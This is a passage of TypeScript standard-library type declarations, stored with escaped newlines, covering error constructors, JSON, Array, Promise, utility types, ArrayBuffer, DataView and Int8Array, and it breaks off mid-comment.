{\\n}\\n\\ninterface ReferenceErrorConstructor {\\n    new(message?: string): ReferenceError;\\n    (message?: string): ReferenceError;\\n    readonly prototype: ReferenceError;\\n}\\n\\ndeclare const ReferenceError: ReferenceErrorConstructor;\\n\\ninterface SyntaxError extends Error {\\n}\\n\\ninterface SyntaxErrorConstructor {\\n    new(message?: string): SyntaxError;\\n    (message?: string): SyntaxError;\\n    readonly prototype: SyntaxError;\\n}\\n\\ndeclare const SyntaxError: SyntaxErrorConstructor;\\n\\ninterface TypeError extends Error {\\n}\\n\\ninterface TypeErrorConstructor {\\n    new(message?: string): TypeError;\\n    (message?: string): TypeError;\\n    readonly prototype: TypeError;\\n}\\n\\ndeclare const TypeError: TypeErrorConstructor;\\n\\ninterface URIError extends Error {\\n}\\n\\ninterface URIErrorConstructor {\\n    new(message?: string): URIError;\\n    (message?: string): URIError;\\n    readonly prototype: URIError;\\n}\\n\\ndeclare const URIError: URIErrorConstructor;\\n\\ninterface JSON {\\n    /**\\n      * Converts a JavaScript Object Notation (JSON) string into an object.\\n      * @param text A valid JSON string.\\n      * @param reviver A function that transforms the results. This function is called for each member of the object.\\n      * If a member contains nested objects, the nested objects are transformed before the parent object is.\\n      */\\n    parse(text: string, reviver?: (key: any, value: any) => any): any;\\n    /**\\n      * Converts a JavaScript value to a JavaScript Object Notation (JSON) string.\\n      * @param value A JavaScript value, usually an object or array, to be converted.\\n      * @param replacer A function that transforms the results.\\n      * @param space Adds indentation, white space, and line break characters to the return-value JSON text to make it easier to read.\\n      */\\n    stringify(value: any, replacer?: (key: string, value: any) => any, space?: string | number): string;\\n    /**\\n      * Converts a JavaScript value to a JavaScript Object Notation (JSON) string.\\n      * @param value A JavaScript value, usually an object or array, to be converted.\\n      * @param replacer An array of strings and numbers that acts as a approved list for selecting the object properties that will be stringified.\\n      * @param space Adds indentation, white space, and line break characters to the return-value JSON text to make it easier to read.\\n      */\\n    stringify(value: any, replacer?: (number | string)[] | null, space?: string | number): string;\\n}\\n\\n/**\\n  * An intrinsic object that provides functions to convert JavaScript values to and from the JavaScript Object Notation (JSON) format.\\n  */\\ndeclare const JSON: JSON;\\n\\n\\n/////////////////////////////\\n/// ECMAScript Array API (specially handled by compiler)\\n/////////////////////////////\\n\\ninterface ReadonlyArray<T> {\\n    /**\\n      * Gets the length of the array. This is a number one higher than the highest element defined in an array.\\n      */\\n    readonly length: number;\\n    /**\\n      * Returns a string representation of an array.\\n      */\\n    toString(): string;\\n    /**\\n      * Returns a string representation of an array. The elements are converted to string using thier toLocalString methods.\\n      */\\n    toLocaleString(): string;\\n    /**\\n      * Combines two or more arrays.\\n      * @param items Additional items to add to the end of array1.\\n      */\\n    concat(...items: T[][]): T[];\\n    /**\\n      * Combines two or more arrays.\\n      * @param items Additional items to add to the end of array1.\\n      */\\n    concat(...items: (T | T[])[]): T[];\\n    /**\\n      * Adds all the elements of an array separated by the specified separator string.\\n      * @param separator A string used to separate one element of an array from the next in the resulting String. If omitted, the array elements are separated with a comma.\\n      */\\n    join(separator?: string): string;\\n    /**\\n      * Returns a section of an array.\\n      * @param start The beginning of the specified portion of the array.\\n      * @param end The end of the specified portion of the array.\\n      */\\n    slice(start?: number, end?: number): T[];\\n    /**\\n      * Returns the index of the first occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the search starts at index 0.\\n      */\\n    indexOf(searchElement: T, fromIndex?: number): number;\\n    /**\\n      * Returns the index of the last occurrence of a specified value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the search starts at the last index in the array.\\n      */\\n    lastIndexOf(searchElement: T, fromIndex?: number): number;\\n    /**\\n      * Determines whether all the members of an array satisfy the specified test.\\n      * @param callbackfn A function that accepts up to three arguments. The every method calls the callbackfn function for each element in array1 until the callbackfn returns false, or until the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function. If thisArg is omitted, undefined is used as the this value.\\n      */\\n    every(callbackfn: (value: T, index: number, array: ReadonlyArray<T>) => boolean, thisArg?: any): boolean;\\n    /**\\n      * Determines whether the specified callback function returns true for any element of an array.\\n      * @param callbackfn A function that accepts up to three arguments. The some method calls the callbackfn function for each element in array1 until the callbackfn returns true, or until the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function. If thisArg is omitted, undefined is used as the this value.\\n      */\\n    some(callbackfn: (value: T, index: number, array: ReadonlyArray<T>) => boolean, thisArg?: any): boolean;\\n    /**\\n      * Performs the specified action for each element in an array.\\n      * @param callbackfn  A function that accepts up to three arguments. forEach calls the callbackfn function one time for each element in the array.\\n      * @param thisArg  An object to which the this keyword can refer in the callbackfn function. If thisArg is omitted, undefined is used as the this value.\\n      */\\n    forEach(callbackfn: (value: T, index: number, array: ReadonlyArray<T>) => void, thisArg?: any): void;\\n    /**\\n      * Calls a defined callback function on each element of an array, and returns an array that contains the results.\\n      * @param callbackfn A function that accepts up to three arguments. The map method calls the callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function. If thisArg is omitted, undefined is used as the this value.\\n      */\\n    map<U>(callbackfn: (value: T, index: number, array: ReadonlyArray<T>) => U, thisArg?: any): U[];\\n    /**\\n     * Returns the elements of an array that meet the condition specified in a callback function.\\n     * @param callbackfn A function that accepts up to three arguments. The filter method calls the callbackfn function one time for each element in the array.\\n     * @param thisArg An object to which the this keyword can refer in the callbackfn function. If thisArg is omitted, undefined is used as the this value.\\n     */\\n    filter<S extends T>(callbackfn: (value: T, index: number, array: ReadonlyArray<T>) => value is S, thisArg?: any): S[];\\n    /**\\n      * Returns the elements of an array that meet the condition specified in a callback function.\\n      * @param callbackfn A function that accepts up to three arguments. The filter method calls the callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function. If thisArg is omitted, undefined is used as the this value.\\n      */\\n    filter(callbackfn: (value: T, index: number, array: ReadonlyArray<T>) => any, thisArg?: any): T[];\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of the callback function is the accumulated result, and is provided as an argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start the accumulation. The first call to the callbackfn function provides this value as an argument instead of an array value.\\n      */\\n    reduce(callbackfn: (previousValue: T, currentValue: T, currentIndex: number, array: ReadonlyArray<T>) => T, initialValue?: T): T;\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of the callback function is the accumulated result, and is provided as an argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start the accumulation. The first call to the callbackfn function provides this value as an argument instead of an array value.\\n      */\\n    reduce<U>(callbackfn: (previousValue: U, currentValue: T, currentIndex: number, array: ReadonlyArray<T>) => U, initialValue: U): U;\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order. The return value of the callback function is the accumulated result, and is provided as an argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start the accumulation. The first call to the callbackfn function provides this value as an argument instead of an array value.\\n      */\\n    reduceRight(callbackfn: (previousValue: T, currentValue: T, currentIndex: number, array: ReadonlyArray<T>) => T, initialValue?: T): T;\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order. The return value of the callback function is the accumulated result, and is provided as an argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start the accumulation. The first call to the callbackfn function provides this value as an argument instead of an array value.\\n      */\\n    reduceRight<U>(callbackfn: (previousValue: U, currentValue: T, currentIndex: number, array: ReadonlyArray<T>) => U, initialValue: U): U;\\n\\n    readonly [n: number]: T;\\n}\\n\\ninterface Array<T> {\\n    /**\\n      * Gets or sets the length of the array. This is a number one higher than the highest element defined in an array.\\n      */\\n    length: number;\\n    /**\\n      * Returns a string representation of an array.\\n      */\\n    toString(): string;\\n    /**\\n      * Returns a string representation of an array. The elements are converted to string using thier toLocalString methods.\\n      */\\n    toLocaleString(): string;\\n    /**\\n      * Appends new elements to an array, and returns the new length of the array.\\n      * @param items New elements of the Array.\\n      */\\n    push(...items: T[]): number;\\n    /**\\n      * Removes the last element from an array and returns it.\\n      */\\n    pop(): T | undefined;\\n    /**\\n      * Combines two or more arrays.\\n      * @param items Additional items to add to the end of array1.\\n      */\\n    concat(...items: T[][]): T[];\\n    /**\\n      * Combines two or more arrays.\\n      * @param items Additional items to add to the end of array1.\\n      */\\n    concat(...items: (T | T[])[]): T[];\\n    /**\\n      * Adds all the elements of an array separated by the specified separator string.\\n      * @param separator A string used to separate one element of an array from the next in the resulting String. If omitted, the array elements are separated with a comma.\\n      */\\n    join(separator?: string): string;\\n    /**\\n      * Reverses the elements in an Array.\\n      */\\n    reverse(): T[];\\n    /**\\n      * Removes the first element from an array and returns it.\\n      */\\n    shift(): T | undefined;\\n    /**\\n      * Returns a section of an array.\\n      * @param start The beginning of the specified portion of the array.\\n      * @param end The end of the specified portion of the array.\\n      */\\n    slice(start?: number, end?: number): T[];\\n    /**\\n      * Sorts an array.\\n      * @param compareFn The name of the function used to determine the order of the elements. If omitted, the elements are sorted in ascending, ASCII character order.\\n      */\\n    sort(compareFn?: (a: T, b: T) => number): this;\\n    /**\\n      * Removes elements from an array and, if necessary, inserts new elements in their place, returning the deleted elements.\\n      * @param start The zero-based location in the array from which to start removing elements.\\n      * @param deleteCount The number of elements to remove.\\n      */\\n    splice(start: number, deleteCount?: number): T[];\\n    /**\\n      * Removes elements from an array and, if necessary, inserts new elements in their place, returning the deleted elements.\\n      * @param start The zero-based location in the array from which to start removing elements.\\n      * @param deleteCount The number of elements to remove.\\n      * @param items Elements to insert into the array in place of the deleted elements.\\n      */\\n    splice(start: number, deleteCount: number, ...items: T[]): T[];\\n    /**\\n      * Inserts new elements at the start of an array.\\n      * @param items  Elements to insert at the start of the Array.\\n      */\\n    unshift(...items: T[]): number;\\n    /**\\n      * Returns the index of the first occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the search starts at index 0.\\n      */\\n    indexOf(searchElement: T, fromIndex?: number): number;\\n    /**\\n      * Returns the index of the last occurrence of a specified value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the search starts at the last index in the array.\\n      */\\n    lastIndexOf(searchElement: T, fromIndex?: number): number;\\n    /**\\n      * Determines whether all the members of an array satisfy the specified test.\\n      * @param callbackfn A function that accepts up to three arguments. The every method calls the callbackfn function for each element in array1 until the callbackfn returns false, or until the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function. If thisArg is omitted, undefined is used as the this value.\\n      */\\n    every(callbackfn: (value: T, index: number, array: T[]) => boolean, thisArg?: any): boolean;\\n    /**\\n      * Determines whether the specified callback function returns true for any element of an array.\\n      * @param callbackfn A function that accepts up to three arguments. The some method calls the callbackfn function for each element in array1 until the callbackfn returns true, or until the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function. If thisArg is omitted, undefined is used as the this value.\\n      */\\n    some(callbackfn: (value: T, index: number, array: T[]) => boolean, thisArg?: any): boolean;\\n    /**\\n      * Performs the specified action for each element in an array.\\n      * @param callbackfn  A function that accepts up to three arguments. forEach calls the callbackfn function one time for each element in the array.\\n      * @param thisArg  An object to which the this keyword can refer in the callbackfn function. If thisArg is omitted, undefined is used as the this value.\\n      */\\n    forEach(callbackfn: (value: T, index: number, array: T[]) => void, thisArg?: any): void;\\n    /**\\n      * Calls a defined callback function on each element of an array, and returns an array that contains the results.\\n      * @param callbackfn A function that accepts up to three arguments. The map method calls the callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function. If thisArg is omitted, undefined is used as the this value.\\n      */\\n    map<U>(callbackfn: (value: T, index: number, array: T[]) => U, thisArg?: any): U[];\\n    /**\\n     * Returns the elements of an array that meet the condition specified in a callback function.\\n     * @param callbackfn A function that accepts up to three arguments. The filter method calls the callbackfn function one time for each element in the array.\\n     * @param thisArg An object to which the this keyword can refer in the callbackfn function. If thisArg is omitted, undefined is used as the this value.\\n     */\\n    filter<S extends T>(callbackfn: (value: T, index: number, array: T[]) => value is S, thisArg?: any): S[];\\n    /**\\n      * Returns the elements of an array that meet the condition specified in a callback function.\\n      * @param callbackfn A function that accepts up to three arguments. The filter method calls the callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function. If thisArg is omitted, undefined is used as the this value.\\n      */\\n    filter(callbackfn: (value: T, index: number, array: T[]) => any, thisArg?: any): T[];\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of the callback function is the accumulated result, and is provided as an argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start the accumulation. The first call to the callbackfn function provides this value as an argument instead of an array value.\\n      */\\n    reduce(callbackfn: (previousValue: T, currentValue: T, currentIndex: number, array: T[]) => T, initialValue?: T): T;\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of the callback function is the accumulated result, and is provided as an argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start the accumulation. The first call to the callbackfn function provides this value as an argument instead of an array value.\\n      */\\n    reduce<U>(callbackfn: (previousValue: U, currentValue: T, currentIndex: number, array: T[]) => U, initialValue: U): U;\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order. The return value of the callback function is the accumulated result, and is provided as an argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start the accumulation. The first call to the callbackfn function provides this value as an argument instead of an array value.\\n      */\\n    reduceRight(callbackfn: (previousValue: T, currentValue: T, currentIndex: number, array: T[]) => T, initialValue?: T): T;\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order. The return value of the callback function is the accumulated result, and is provided as an argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start the accumulation. The first call to the callbackfn function provides this value as an argument instead of an array value.\\n      */\\n    reduceRight<U>(callbackfn: (previousValue: U, currentValue: T, currentIndex: number, array: T[]) => U, initialValue: U): U;\\n\\n    [n: number]: T;\\n}\\n\\ninterface ArrayConstructor {\\n    new(arrayLength?: number): any[];\\n    new <T>(arrayLength: number): T[];\\n    new <T>(...items: T[]): T[];\\n    (arrayLength?: number): any[];\\n    <T>(arrayLength: number): T[];\\n    <T>(...items: T[]): T[];\\n    isArray(arg: any): arg is Array<any>;\\n    readonly prototype: Array<any>;\\n}\\n\\ndeclare const Array: ArrayConstructor;\\n\\ninterface TypedPropertyDescriptor<T> {\\n    enumerable?: boolean;\\n    configurable?: boolean;\\n    writable?: boolean;\\n    value?: T;\\n    get?: () => T;\\n    set?: (value: T) => void;\\n}\\n\\ndeclare type ClassDecorator = <TFunction extends Function>(target: TFunction) => TFunction | void;\\ndeclare type PropertyDecorator = (target: Object, propertyKey: string | symbol) => void;\\ndeclare type MethodDecorator = <T>(target: Object, propertyKey: string | symbol, descriptor: TypedPropertyDescriptor<T>) => TypedPropertyDescriptor<T> | void;\\ndeclare type ParameterDecorator = (target: Object, propertyKey: string | symbol, parameterIndex: number) => void;\\n\\ndeclare type PromiseConstructorLike = new <T>(executor: (resolve: (value?: T | PromiseLike<T>) => void, reject: (reason?: any) => void) => void) => PromiseLike<T>;\\n\\ninterface PromiseLike<T> {\\n    /**\\n     * Attaches callbacks for the resolution and/or rejection of the Promise.\\n     * @param onfulfilled The callback to execute when the Promise is resolved.\\n     * @param onrejected The callback to execute when the Promise is rejected.\\n     * @returns A Promise for the completion of which ever callback is executed.\\n     */\\n    then<TResult1 = T, TResult2 = never>(onfulfilled?: ((value: T) => TResult1 | PromiseLike<TResult1>) | undefined | null, onrejected?: ((reason: any) => TResult2 | PromiseLike<TResult2>) | undefined | null): PromiseLike<TResult1 | TResult2>;\\n}\\n\\n/**\\n * Represents the completion of an asynchronous operation\\n */\\ninterface Promise<T> {\\n    /**\\n     * Attaches callbacks for the resolution and/or rejection of the Promise.\\n     * @param onfulfilled The callback to execute when the Promise is resolved.\\n     * @param onrejected The callback to execute when the Promise is rejected.\\n     * @returns A Promise for the completion of which ever callback is executed.\\n     */\\n    then<TResult1 = T, TResult2 = never>(onfulfilled?: ((value: T) => TResult1 | PromiseLike<TResult1>) | undefined | null, onrejected?: ((reason: any) => TResult2 | PromiseLike<TResult2>) | undefined | null): Promise<TResult1 | TResult2>;\\n\\n    /**\\n     * Attaches a callback for only the rejection of the Promise.\\n     * @param onrejected The callback to execute when the Promise is rejected.\\n     * @returns A Promise for the completion of the callback.\\n     */\\n    catch<TResult = never>(onrejected?: ((reason: any) => TResult | PromiseLike<TResult>) | undefined | null): Promise<T | TResult>;\\n}\\n\\ninterface ArrayLike<T> {\\n    readonly length: number;\\n    readonly [n: number]: T;\\n}\\n\\n/**\\n * Make all properties in T optional\\n */\\ntype Partial<T> = {\\n    [P in keyof T]?: T[P];\\n};\\n\\n/**\\n * Make all properties in T readonly\\n */\\ntype Readonly<T> = {\\n    readonly [P in keyof T]: T[P];\\n};\\n\\n/**\\n * From T pick a set of properties K\\n */\\ntype Pick<T, K extends keyof T> = {\\n    [P in K]: T[P];\\n};\\n\\n/**\\n * Construct a type with a set of properties K of type T\\n */\\ntype Record<K extends string, T> = {\\n    [P in K]: T;\\n};\\n\\n/**\\n * Marker for contextual \\'this\\' type\\n */\\ninterface ThisType<T> { }\\n\\n/**\\n  * Represents a raw buffer of binary data, which is used to store data for the\\n  * different typed arrays. ArrayBuffers cannot be read from or written to directly,\\n  * but can be passed to a typed array or DataView Object to interpret the raw\\n  * buffer as needed.\\n  */\\ninterface ArrayBuffer {\\n    /**\\n      * Read-only. The length of the ArrayBuffer (in bytes).\\n      */\\n    readonly byteLength: number;\\n\\n    /**\\n      * Returns a section of an ArrayBuffer.\\n      */\\n    slice(begin: number, end?: number): ArrayBuffer;\\n}\\n\\n/**\\n * Allowed ArrayBuffer types for the buffer of an ArrayBufferView and related Typed Arrays.\\n */\\ninterface ArrayBufferTypes {\\n    ArrayBuffer: ArrayBuffer;\\n}\\ntype ArrayBufferLike = ArrayBufferTypes[keyof ArrayBufferTypes];\\n\\ninterface ArrayBufferConstructor {\\n    readonly prototype: ArrayBuffer;\\n    new(byteLength: number): ArrayBuffer;\\n    isView(arg: any): arg is ArrayBufferView;\\n}\\ndeclare const ArrayBuffer: ArrayBufferConstructor;\\n\\ninterface ArrayBufferView {\\n    /**\\n      * The ArrayBuffer instance referenced by the array.\\n      */\\n    buffer: ArrayBufferLike;\\n\\n    /**\\n      * The length in bytes of the array.\\n      */\\n    byteLength: number;\\n\\n    /**\\n      * The offset in bytes of the array.\\n      */\\n    byteOffset: number;\\n}\\n\\ninterface DataView {\\n    readonly buffer: ArrayBuffer;\\n    readonly byteLength: number;\\n    readonly byteOffset: number;\\n    /**\\n      * Gets the Float32 value at the specified byte offset from the start of the view. There is\\n      * no alignment constraint; multi-byte values may be fetched from any offset.\\n      * @param byteOffset The place in the buffer at which the value should be retrieved.\\n      */\\n    getFloat32(byteOffset: number, littleEndian?: boolean): number;\\n\\n    /**\\n      * Gets the Float64 value at the specified byte offset from the start of the view. There is\\n      * no alignment constraint; multi-byte values may be fetched from any offset.\\n      * @param byteOffset The place in the buffer at which the value should be retrieved.\\n      */\\n    getFloat64(byteOffset: number, littleEndian?: boolean): number;\\n\\n    /**\\n      * Gets the Int8 value at the specified byte offset from the start of the view. There is\\n      * no alignment constraint; multi-byte values may be fetched from any offset.\\n      * @param byteOffset The place in the buffer at which the value should be retrieved.\\n      */\\n    getInt8(byteOffset: number): number;\\n\\n    /**\\n      * Gets the Int16 value at the specified byte offset from the start of the view. There is\\n      * no alignment constraint; multi-byte values may be fetched from any offset.\\n      * @param byteOffset The place in the buffer at which the value should be retrieved.\\n      */\\n    getInt16(byteOffset: number, littleEndian?: boolean): number;\\n    /**\\n      * Gets the Int32 value at the specified byte offset from the start of the view. There is\\n      * no alignment constraint; multi-byte values may be fetched from any offset.\\n      * @param byteOffset The place in the buffer at which the value should be retrieved.\\n      */\\n    getInt32(byteOffset: number, littleEndian?: boolean): number;\\n\\n    /**\\n      * Gets the Uint8 value at the specified byte offset from the start of the view. There is\\n      * no alignment constraint; multi-byte values may be fetched from any offset.\\n      * @param byteOffset The place in the buffer at which the value should be retrieved.\\n      */\\n    getUint8(byteOffset: number): number;\\n\\n    /**\\n      * Gets the Uint16 value at the specified byte offset from the start of the view. There is\\n      * no alignment constraint; multi-byte values may be fetched from any offset.\\n      * @param byteOffset The place in the buffer at which the value should be retrieved.\\n      */\\n    getUint16(byteOffset: number, littleEndian?: boolean): number;\\n\\n    /**\\n      * Gets the Uint32 value at the specified byte offset from the start of the view. There is\\n      * no alignment constraint; multi-byte values may be fetched from any offset.\\n      * @param byteOffset The place in the buffer at which the value should be retrieved.\\n      */\\n    getUint32(byteOffset: number, littleEndian?: boolean): number;\\n\\n    /**\\n      * Stores an Float32 value at the specified byte offset from the start of the view.\\n      * @param byteOffset The place in the buffer at which the value should be set.\\n      * @param value The value to set.\\n      * @param littleEndian If false or undefined, a big-endian value should be written,\\n      * otherwise a little-endian value should be written.\\n      */\\n    setFloat32(byteOffset: number, value: number, littleEndian?: boolean): void;\\n\\n    /**\\n      * Stores an Float64 value at the specified byte offset from the start of the view.\\n      * @param byteOffset The place in the buffer at which the value should be set.\\n      * @param value The value to set.\\n      * @param littleEndian If false or undefined, a big-endian value should be written,\\n      * otherwise a little-endian value should be written.\\n      */\\n    setFloat64(byteOffset: number, value: number, littleEndian?: boolean): void;\\n\\n    /**\\n      * Stores an Int8 value at the specified byte offset from the start of the view.\\n      * @param byteOffset The place in the buffer at which the value should be set.\\n      * @param value The value to set.\\n      */\\n    setInt8(byteOffset: number, value: number): void;\\n\\n    /**\\n      * Stores an Int16 value at the specified byte offset from the start of the view.\\n      * @param byteOffset The place in the buffer at which the value should be set.\\n      * @param value The value to set.\\n      * @param littleEndian If false or undefined, a big-endian value should be written,\\n      * otherwise a little-endian value should be written.\\n      */\\n    setInt16(byteOffset: number, value: number, littleEndian?: boolean): void;\\n\\n    /**\\n      * Stores an Int32 value at the specified byte offset from the start of the view.\\n      * @param byteOffset The place in the buffer at which the value should be set.\\n      * @param value The value to set.\\n      * @param littleEndian If false or undefined, a big-endian value should be written,\\n      * otherwise a little-endian value should be written.\\n      */\\n    setInt32(byteOffset: number, value: number, littleEndian?: boolean): void;\\n\\n    /**\\n      * Stores an Uint8 value at the specified byte offset from the start of the view.\\n      * @param byteOffset The place in the buffer at which the value should be set.\\n      * @param value The value to set.\\n      */\\n    setUint8(byteOffset: number, value: number): void;\\n\\n    /**\\n      * Stores an Uint16 value at the specified byte offset from the start of the view.\\n      * @param byteOffset The place in the buffer at which the value should be set.\\n      * @param value The value to set.\\n      * @param littleEndian If false or undefined, a big-endian value should be written,\\n      * otherwise a little-endian value should be written.\\n      */\\n    setUint16(byteOffset: number, value: number, littleEndian?: boolean): void;\\n\\n    /**\\n      * Stores an Uint32 value at the specified byte offset from the start of the view.\\n      * @param byteOffset The place in the buffer at which the value should be set.\\n      * @param value The value to set.\\n      * @param littleEndian If false or undefined, a big-endian value should be written,\\n      * otherwise a little-endian value should be written.\\n      */\\n    setUint32(byteOffset: number, value: number, littleEndian?: boolean): void;\\n}\\n\\ninterface DataViewConstructor {\\n    new(buffer: ArrayBufferLike, byteOffset?: number, byteLength?: number): DataView;\\n}\\ndeclare const DataView: DataViewConstructor;\\n\\n/**\\n  * A typed array of 8-bit integer values. The contents are initialized to 0. If the requested\\n  * number of bytes could not be allocated an exception is raised.\\n  */\\ninterface Int8Array {\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * The ArrayBuffer instance referenced by the array.\\n      */\\n    readonly buffer: ArrayBufferLike;\\n\\n    /**\\n      * The length in bytes of the array.\\n      */\\n    readonly byteLength: number;\\n\\n    /**\\n      * The offset in bytes of the array.\\n      */\\n    readonly byteOffset: number;\\n\\n    /**\\n      * Returns the this object after copying a section of the array identified by start and end\\n      * to the same array starting at position target\\n      * @param target If target is negative, it is treated as length+target where length is the\\n      * length of the array.\\n      * @param start If start is negative, it is treated as length+start. If end is negative, it\\n      * is treated as length+end.\\n      * @param end If not specified, length of the this object is used as its default value.\\n      */\\n    copyWithin(target: number, start: number, end?: number): this;\\n\\n    /**\\n      * Determines whether all the members of an array satisfy the specified test.\\n      * @param callbackfn A function that accepts up to three arguments. The every method calls\\n      * the callbackfn function for each element in array1 until the callbackfn returns false,\\n      * or until the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    every(callbackfn: (value: number, index: number, array: Int8Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n        * Returns the this object after filling the section identified by start and end with value\\n        * @param value value to fill array section with\\n        * @param start index to start filling the array at. If start is negative, it is treated as\\n        * length+start where length is the length of the array.\\n        * @param end index to stop filling the array at. If end is negative, it is treated as\\n        * length+end.\\n        */\\n    fill(value: number, start?: number, end?: number): this;\\n\\n    /**\\n      * Returns the elements of an array that meet the condition specified in a callback function.\\n      * @param callbackfn A function that accepts up to three arguments. The filter method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    filter(callbackfn: (value: number, index: number, array: Int8Array) => any, thisArg?: any): Int8Array;\\n\\n    /**\\n      * Returns the value of the first element in the array where predicate is true, and undefined\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found, find\\n      * immediately returns that element value. Otherwise, find returns undefined.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    find(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number | undefined;\\n\\n    /**\\n      * Returns the index of the first element in the array where predicate is true, and -1\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found,\\n      * findIndex immediately returns that element index. Otherwise, findIndex returns -1.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    findIndex(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number;\\n\\n    /**\\n      * Performs the specified action for each element in an array.\\n      * @param callbackfn  A function that accepts up to three arguments. forEach calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg  An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    forEach(callbackfn: (value: number, index: number, array: Int8Array) => void, thisArg?: any): void;\\n\\n    /**\\n      * Returns the index of the first occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      *  search starts at index 0.\\n      */\\n    indexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * Adds all the elements of an array separated by the specified separator string.\\n      * @param separator A string used to separate one element of an array from the next in the\\n      * resulting String. If omitted, the array elements are separated with a comma.\\n      */\\n    join(separator?: string): string;\\n\\n    /**\\n      * Returns the index of the last occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      * search starts at index 0.\\n      */\\n    lastIndexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * The length of the array.\\n      */\\n    readonly length: number;\\n\\n    /**\\n      * Calls a defined callback function on each element of an array, and returns an array that\\n      * contains the results.\\n      * @param callbackfn A function that accepts up to three arguments. The map method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    map(callbackfn: (this: void, value: number, index: number, array: Int8Array) => number, thisArg?: any): Int8Array;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Int8Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn 